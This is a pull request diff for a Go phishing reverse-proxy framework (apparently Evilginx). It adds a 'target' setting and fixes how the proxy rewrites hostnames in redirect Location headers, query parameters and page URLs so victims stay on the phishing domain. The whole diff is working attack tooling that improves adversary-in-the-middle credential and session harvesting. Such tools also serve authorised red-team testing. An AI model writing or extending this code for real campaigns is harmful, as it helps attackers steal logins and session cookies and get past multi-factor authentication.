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Modify patchUrls to fix domain replacement bug #1112

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Modify patchUrls to fix domain replacement bug #1112

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a4e4153
wee woo requests not being modified properly
ziggoon Sep 19, 2024
0af9d2e
Update banner.go
ziggoon Sep 20, 2024
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12 changes: 12 additions & 0 deletions core/config.go
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Original file line number Diff line number Diff line change
Expand Up @@ -74,6 +74,7 @@ type GeneralConfig struct {
HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
Autocert bool `mapstructure:"autocert" json:"autocert" yaml:"autocert"`
Target string `mapstructure:"target" json:"target" yaml:"target"`
}

type Config struct {
Expand Down Expand Up @@ -496,6 +497,17 @@ func (c *Config) EnableAutocert(enabled bool) {
c.cfg.WriteConfig()
}

func (c *Config) SetTarget(target string) {
c.general.Target = target
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("target set to: %s", target)
c.cfg.WriteConfig()
}

func (c *Config) GetTarget() string {
return c.general.Target
}

func (c *Config) refreshActiveHostnames() {
c.activeHostnames = []string{}
sites := c.GetEnabledSites()
Expand Down
70 changes: 58 additions & 12 deletions core/http_proxy.go
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Original file line number Diff line number Diff line change
Expand Up @@ -647,6 +647,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if len(qs) > 0 {
for gp := range qs {
for i, v := range qs[gp] {
v = p.replacePhishingDomainInValue(v)
qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
}
}
Expand Down Expand Up @@ -935,10 +936,15 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
// if "Location" header is present, make sure to redirect to the phishing domain
r_url, err := resp.Location()
if err == nil {
if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
r_url.Host = r_host
resp.Header.Set("Location", r_url.String())
}
// log.Debug("Original Location header: %s", r_url.String())
if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
r_url.Host = r_host
new_location := r_url.String()
resp.Header.Set("Location", new_location)
// log.Info("Updated Location header: %s", new_location)
} else {
log.Warning("Failed to replace host in Location header: %s", r_url.String())
}
}

// fix cookies
Expand Down Expand Up @@ -1508,17 +1514,35 @@ func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
if err == nil {
for _, h := range hosts {
if strings.ToLower(u.Host) == h {
s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
u.Host = sub_map[h]
break
}
}
// Check and replace in query parameters
q := u.Query()
for key, values := range q {
for _, value := range values {
decodedValue, err := url.QueryUnescape(value)
if err == nil {
for _, h := range hosts {
if strings.Contains(decodedValue, h) {
decodedValue = strings.Replace(decodedValue, h, sub_map[h], -1)
q.Set(key, url.QueryEscape(decodedValue))
break
}
}
}
}
}
u.RawQuery = q.Encode()
}
return s_url
return u.String()
}))

body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
for _, h := range hosts {
if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
s_url = strings.Replace(s_url, h, sub_map[h], 1)
s_url = strings.Replace(s_url, h, sub_map[h], -1)
break
}
}
Expand Down Expand Up @@ -1729,18 +1753,33 @@ func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
prefix = "."
hostname = hostname[1:]
}

host, port, err := net.SplitHostPort(hostname)
if err != nil {
host = hostname
port = ""
}

for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if !ok {
continue
}
for _, ph := range pl.proxyHosts {
if hostname == combineHost(ph.orig_subdomain, ph.domain) {
return prefix + combineHost(ph.phish_subdomain, phishDomain), true
if host == combineHost(ph.orig_subdomain, ph.domain) {
phishedHost := combineHost(ph.phish_subdomain, phishDomain)
if port != "" {
phishedHost = net.JoinHostPort(phishedHost, port)
}
return prefix + phishedHost, true
}
if hostname == ph.domain {
return prefix + phishDomain, true
if host == ph.domain {
phishedHost := phishDomain
if port != "" {
phishedHost = net.JoinHostPort(phishedHost, port)
}
return prefix + phishedHost, true
}
}
}
Expand Down Expand Up @@ -1966,7 +2005,7 @@ func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
func orPanic(err error) {
if err != nil {
panic(err)
}
}
}

func getContentType(path string, data []byte) string {
Expand All @@ -1987,3 +2026,10 @@ func getSessionCookieName(pl_name string, cookie_name string) string {
s_hash = s_hash[:4] + "-" + s_hash[4:]
return s_hash
}

func (p *HttpProxy) replacePhishingDomainInValue(value string) string {
if p.cfg.general.Domain != "" && p.cfg.general.Target != "" {
return strings.Replace(value, p.cfg.general.Domain, p.cfg.general.Target, -1)
}
return value
}
7 changes: 5 additions & 2 deletions core/terminal.go
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Original file line number Diff line number Diff line change
Expand Up @@ -192,8 +192,8 @@ func (t *Terminal) handleConfig(args []string) error {
gophishInsecure = "true"
}

keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
keys := []string{"domain", "target", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
vals := []string{t.cfg.general.Domain, t.cfg.general.Target, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 2 {
Expand All @@ -203,6 +203,9 @@ func (t *Terminal) handleConfig(args []string) error {
t.cfg.ResetAllSites()
t.manageCertificates(false)
return nil
case "target":
t.cfg.SetTarget(args[1])
return nil
case "ipv4":
t.cfg.SetServerExternalIP(args[1])
return nil
Expand Down